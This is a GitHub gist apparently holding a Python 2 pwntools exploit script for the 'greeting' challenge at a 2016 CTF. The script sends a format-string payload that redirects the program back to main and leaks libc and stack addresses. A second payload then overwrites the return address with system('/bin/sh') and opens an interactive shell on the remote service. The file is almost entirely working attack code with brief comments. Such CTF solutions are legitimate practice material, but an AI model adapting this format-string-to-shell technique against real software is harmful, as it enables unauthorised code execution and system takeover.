Skip to content

Instantly share code, notes, and snippets.

@laxa
Created September 6, 2016 16:00
Show Gist options
  • Save laxa/165ed03bbb3f6733fb0c7eaa3e6bec5a to your computer and use it in GitHub Desktop.
Save laxa/165ed03bbb3f6733fb0c7eaa3e6bec5a to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
from libformatstr import FormatStr
from pwn import *
import binascii
import struct
import time
def p32(addr):
return struct.pack("<I", addr)
### GLOBAL AND CONSTANTS
DEBUG = False
FINI = 0x08049934
MAIN = 0x080485ED
SYSTEM = 0x08048779
logger = logging.getLogger()
logger.setLevel(logging.DEBUG) # set to INFO in release mode
if DEBUG:
BINSH = 0x0015f771
SysOffset = 0x0003e3e0
offset = 0x19a63
else:
BINSH = 0x0016084c
SysOffset = 0x00040310
offset = 0x19af3
###
context.clear(arch="i386")
if DEBUG == True:
r = process("./greeting")
if len(sys.argv) > 1:
gdb.attach(r)
log.info("press key when ready")
raw_input()
else:
r = remote("pwn2.chal.ctf.westerns.tokyo", 16317)
r.recvuntil("... ")
p = {FINI: 0xa0}
# payload = fmtstr_payload(12, p, numbwritten=20, write_size="byte")
# we can simplify that payload to the minimum
# note that we need 2 bytes of padding and already 18 bytes are already written
p = "00" + p32(FINI) + "%213c%12$hhn %43$x-%2$x"
log.info("sending first stage payload: " + p)
r.sendline(p)
# we are getting one libc address (_libc_start_main+243) and a stack address
data = r.recvline()
data = data
data = data[len(data) - 21:-4].split("-")
leak = int("0x" + data[0], 16)
stack = int("0x" + data[1], 16)
log.info("libcleak: " + hex(leak))
log.info("stack: " + hex(stack))
libcBase = leak - offset
log.info("libcbase: " + hex(libcBase))
# EIP is our next target
EIP = stack - 0x90
log.info("EIP: " + hex(EIP))
system = SysOffset + libcBase
sh = BINSH + libcBase
log.info("system: " + hex(system))
log.info("/bin/sh: " + hex(sh))
r.recvuntil("... ")
#p = {EIP: system, EIP + 8: sh}
#payload = "00" + fmtstr_payload(12, p, numbwritten=20, write_size="short")
p = FormatStr()
p[EIP] = [system, 0, sh]
payload = "00" + p.payload(12, start_len=20)
if payload.count("A") == 2:
payload = p.payload(11, start_len=18).replace("AA", "")
else:
log.info("fail")
exit()
print payload
print "Payload size: " + str(len(payload))
if len(payload) > 64:
r.close()
exit()
log.info("sending second stage payload")
r.sendline(payload)
r.interactive()
r.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment